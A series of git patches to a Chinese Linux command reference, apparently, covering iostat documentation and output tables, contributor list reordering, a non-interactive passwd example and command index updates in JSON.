%idle - 0.11 0.02 0.18 0.35 -0.03 99.31 + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 28.00 0.0k 76.0k 0.0k 76.0k vda + + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 11.00 0.0k 100.0k 0.0k 100.0k vda -Device: tps Blk_read/s Blk_wrtn/s -Blk_read Blk_wrtn -sda1 0.02 0.08 -0.00 2014 4 ``` -详细说明：第二行是系统信息和监测时间，第三行和第四行显示CPU使用情况（具体内容和mpstat命令相同）。这里主要关注后面I/O输出的信息，如下所示： +### 示例3 + +```bash +# iostat -xd 1 +Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU) + +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 4.64 3.21 84.14 36.59 0.28 1.07 5.64 25.01 5.86 8.23 0.05 18.12 11.41 0.44 0.34 + +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 1.00 0.00 4.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 4.00 0.00 2.00 0.20 +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 0.00 37.00 0.00 395.50 0.00 10.00 0.00 21.28 0.00 0.92 0.03 0.00 10.69 0.11 0.40 -标示 | 说明 ---- | --- -Device | 监测设备名称 -rrqm/s | 每秒需要读取需求的数量 -wrqm/s | 每秒需要写入需求的数量 -r/s | 每秒实际读取需求的数量 -w/s | 每秒实际写入需求的数量 -rsec/s | 每秒读取区段的数量 -wsec/s | 每秒写入区段的数量 -rkB/s | 每秒实际读取的大小，单位为KB -wkB/s | 每秒实际写入的大小，单位为KB -avgrq-sz | 需求的平均大小区段 -avgqu-sz | 需求的平均队列长度 -await | 等待I/O平均的时间（milliseconds） -svctm | I/O需求完成的平均时间 -%util | 设备带宽的使用率，达到100%表示饱和，达到性能瓶颈，如果是支持处理并发请求的设备则不代表性能瓶颈。 +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 1.00 0.00 4.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 4.00 0.00 1.00 0.10 + +``` +从这里你可以看到，iostat 提供了非常丰富的性能指标。第一列的 Device 表示磁盘设备的名字，其他各列指标，虽然数量较多，但是每个指标的含义都很重要。 + +| 性能指标 | 含义 | +| --- | --- | +| r/s | 设备每秒完成的读取请求数（合并后）。 | +| w/s | 设备每秒完成的写入请求数（合并后）。 | +| rkB/s | 每秒从设备读取的扇区数（千字节、兆字节）。 | +| wkB/s | 每秒写入设备的扇区数（千字节、兆字节）。 | +| rrqm/s | 每秒合并到设备的排队 I/O 请求数。 | +| wrqm/s | 每秒合并到设备的写入请求数。 | +| %rrqm | 在发送到设备之前合并在一起的读取请求的百分比。 | +| %wrqm | 发送到设备前合并在一起的写入请求的百分比。 | +| r_await | 向设备发出的读取请求获得服务的平均时间（毫秒）。这包括请求在队列中花费的时间和为请求提供服务的时间。 | +| w_await | 向待服务设备发出写入请求的平均时间（毫秒）。这包括请求在队列中花费的时间和为请求提供服务的时间。 | +| aqu-sz | 向设备发出的请求的平均队列长度。注意：在以前的版本中，该字段被称为 avgqu-sz。 | +| rareq-sz | 向设备发出的读取请求的平均大小（千字节）。 | +| wareq-sz | 向设备发出的写入请求的平均大小（千字节）。 | +| svctm | 向设备发出的 I/O 请求的平均服务时间（毫秒）。警告！不要再相信这个字段了。 未来的 sysstat 版本将删除此字段。 | +| %util | 向设备发出 I/O 请求所用时间的百分比（设备带宽利用率）。 对于串行服务请求的设备，当该值接近 100%，设备就会饱和。 但对于以并行方式提供请求的设备，如 RAID 阵列和现代固态硬盘，该数值并不能反映其性能极限。 | + +当 %iowait 升高，需要重点关注以下指标： + +- avgrq-sz: 向设备发出请求的平均大小（单位：扇区） +- avgqu-sz: 向设备发出请求的队列平均长度。也是个做 IO 调优时需要注意的地方，这个就是直接每次操作的数据的大小，如果次数多，但数据拿的小的话，其实 IO 也会很小.如果数据拿的大，IO 的数据会高 +- r_await: 向服务设备发出读取请求的平均时间（单位：毫秒）。包括请求入队的时间以及设备处理请求的时间 +- w_await: 向服务设备发出写请求的平均时间（单位：毫秒）。包括请求入队的时间以及设备处理请求的时间 +- %util：一秒中有百分之多少的时间用于 I/O 操作，或者说一秒中有多少时间 I/O 队列是非空的。如果 %util 接近 100%，说明产生的I/O请求太多，I/O系统已经满负荷，该磁盘可能存在瓶颈 +- %svctm：平均每次设备 I/O 操作的服务时间 (毫秒)。一般要小于 await (因为同时等待的请求的等待时间被重复计算了)，svctm 的大小一般和磁盘性能有关，CPU/内存的负荷也会对其有影响，请求过多也会间接导致 svctm 的增加。await 的大小一般取决于服务时间(svctm) 以及 I/O 队列的长度和 I/O 请求的发出模式。如果 svctm 比较接近 await，说明 I/O 几乎没有等待时间；如果 await 远大于 svctm，说明 I/O 队列太长，应用得到的响应时间变慢，如果响应时间超过了用户可以容许的范围，这时可以考虑更换更快的磁盘，调整内核 elevator 算法，优化应用，或者升级 CPU From 2f8778a1f7ed614dbd3778e1680f0f98f6426c0d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 29 Aug 2024 08:49:42 +0000 Subject: [PATCH 0911/1019] doc: update README.md. --- README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index c6961bae31c..e964f2474f5 100644 --- a/README.md +++ b/README.md @@ -286,6 +286,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Wang Yujia alfred 沙漠之子 +zyy2477 Shell xhal VVatt @@ -302,6 +303,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Dazhuangw Alterem YH +jcdj666 jqz3.tech juemuren4449 kassadin @@ -315,8 +317,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans -oliver -jcdj666 hululu1068 huangyao hotdogc1017 @@ -331,6 +331,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 +c2ch Yidan Wang Wendy May 远方 @@ -346,7 +347,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 尘埃 孤城落寞 七朔 -zyy2477 zyimm zuixin369 zoomdong @@ -363,7 +363,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. shc sfwwslm rexlin600 -c2ch +oliver MinsonLee Marnm mwei From 37bcd5ff8fd016a500d5287e151e16d8f1f54670 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 29 Aug 2024 08:49:43 +0000 Subject: [PATCH 0912/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 0d1361025b2..d6c1e7bb095 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -31,6 +31,7 @@ Wang Yujia alfred 沙漠之子 +zyy2477 Shell xhal VVatt @@ -47,6 +48,7 @@ Dazhuangw Alterem YH +jcdj666 jqz3.tech juemuren4449 kassadin @@ -60,8 +62,6 @@ miniwater noodles2hg nsnans -oliver -jcdj666 hululu1068 huangyao hotdogc1017 @@ -76,6 +76,7 @@ dayday cxalc Forever121 +c2ch Yidan Wang Wendy May 远方 @@ -91,7 +92,6 @@ 尘埃 孤城落寞 七朔 -zyy2477 zyimm zuixin369 zoomdong @@ -108,7 +108,7 @@ shc sfwwslm rexlin600 -c2ch +oliver MinsonLee Marnm mwei From 80c5150c92a638fc9a8a69c6e8fe0cc90ed118cb Mon Sep 17 00:00:00 2001 From: zyy2477 Date: Sun, 1 Sep 2024 15:57:44 +0800 Subject: [PATCH 0913/1019] doc: update command/passwd.md (#600) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 添加通过 echo 命令结合管道符来修改密码的例子。 --- command/passwd.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/command/passwd.md b/command/passwd.md index 54651890747..a3f8df7368a 100644 --- a/command/passwd.md +++ b/command/passwd.md @@ -85,6 +85,15 @@ Retype new UNIX password: # 再输入一次； passwd: all authentication tokens updated successfully. # 成功； ``` +或通过管道符把`echo`命令和`passwd`命令的`--stdin`参数相结合，用一条命令来完成密码修改，无序交互。 +以 linuxde 用户的密码改成 123456 为例： + +```shell +[root@localhost ~]# echo "123456" | passwd --stdin linuxde +Changing password for user linuxde. # 正在更改 linuxde 用户的密码。 +passwd: all authentication tokens updated successfully. # passwd：所有身份验证令牌都已成功更新 +``` + 普通用户如果想更改自己的密码，直接运行passwd即可，比如当前操作的用户是linuxde。 ```shell From b2bab26746038e501a8d367fea7530a9c629b959 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 3 Sep 2024 13:35:16 +0800 Subject: [PATCH 0914/1019] fix: correct formatting issue causing errors. #601 --- command/iostat.md | 3 ++- dist/data.json | 14 ++++++++++++-- dist/data.min.json | 2 +- 3 files changed, 15 insertions(+), 4 deletions(-) diff --git a/command/iostat.md b/command/iostat.md index 0ab85f2d431..2c41ac779a5 100644 --- a/command/iostat.md +++ b/command/iostat.md @@ -1,4 +1,5 @@ -# iostat +iostat +=== iostat命令被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况，同时也会汇报出CPU使用情况。同vmstat一样，iostat也有一个弱点，就是它不能对某个进程进行深入分析，仅对系统的整体情况进行分析。 iowait 指在一个采样周期内有百分之几的时间是属于以下情况：CPU处于空闲状态并且至少有一个未完成的磁盘IO请求。 diff --git a/dist/data.json b/dist/data.json index a5301ee6e3b..75eae0c05a3 100644 --- a/dist/data.json +++ b/dist/data.json @@ -759,6 +759,11 @@ "p": "/fgrep", "d": "为文件搜索文字字符串" }, + "figlet": { + "n": "figlet", + "p": "/figlet", + "d": "字符串转为 “字画符”。" + }, "file": { "n": "file", "p": "/file", @@ -889,6 +894,11 @@ "p": "/gpasswd", "d": "Linux下工作组文件的管理工具" }, + "gpg": { + "n": "gpg", + "p": "/gpg", + "d": "可用于签名、检查、加密或解密的工具" + }, "gpm": { "n": "gpm", "p": "/gpm", @@ -1122,7 +1132,7 @@ "iostat": { "n": "iostat", "p": "/iostat", - "d": "监视系统输入输出设备和CPU的使用情况" + "d": "iostat命令被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况，同时也会汇报出CPU使用情况。同vmstat一样，iostat也有一个弱点，就是它不能对某个进程进行深入分析，仅对系统的整体情况进行分析。iowait 指在一个采样周期内有百分之几的时间是属于以下情况：CPU处于空闲状态并且至少有一个未完成的磁盘IO请求。" }, "iotop": { "n": "iotop", @@ -1637,7 +1647,7 @@ "mtr": { "n": "mtr", "p": "/mtr", - "d": "`mtr`结合了`traceroute`和`ping`程序的功能，是一款简单的网络诊断工具。 " + "d": "`mtr` 结合了 `traceroute` 和 `ping` 程序的功能，是一款简单的网络诊断工具" }, "mv": { "n": "mv", diff --git a/dist/data.min.json b/dist/data.min.json index 02f10339d70..cb420adfeff 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 "},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压，直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"column":{"n":"column","p":"/column","d":"按列格式化输出文件"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"createrepo":{"n":"createrepo","p":"/createrepo","d":"创建YUM仓库"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"docker":{"n":"docker","p":"/docker","d":"容器化技术，可以将应用程序及其依赖项打包到一个可移植的容器中，使其可以在不同的环境中运行"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getent":{"n":"getent","p":"/getent","d":"查询 DNS 名称服务器中的命名空间"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"grub2-mkconfig":{"n":"grub2-mkconfig","p":"/grub2-mkconfig","d":"生成 grub.cfg 配置文件。"},"grub2-set-default":{"n":"grub2-set-default","p":"/grub2-set-default","d":"设置系统默认的启动内核"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hcitool":{"n":"hcitool","p":"/hcitool","d":"hcitool是一个Linux命令行工具，用于管理和调试蓝牙设备。它可以用于扫描周围的蓝牙设备、连接到蓝牙设备发送命令和数据包等。"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的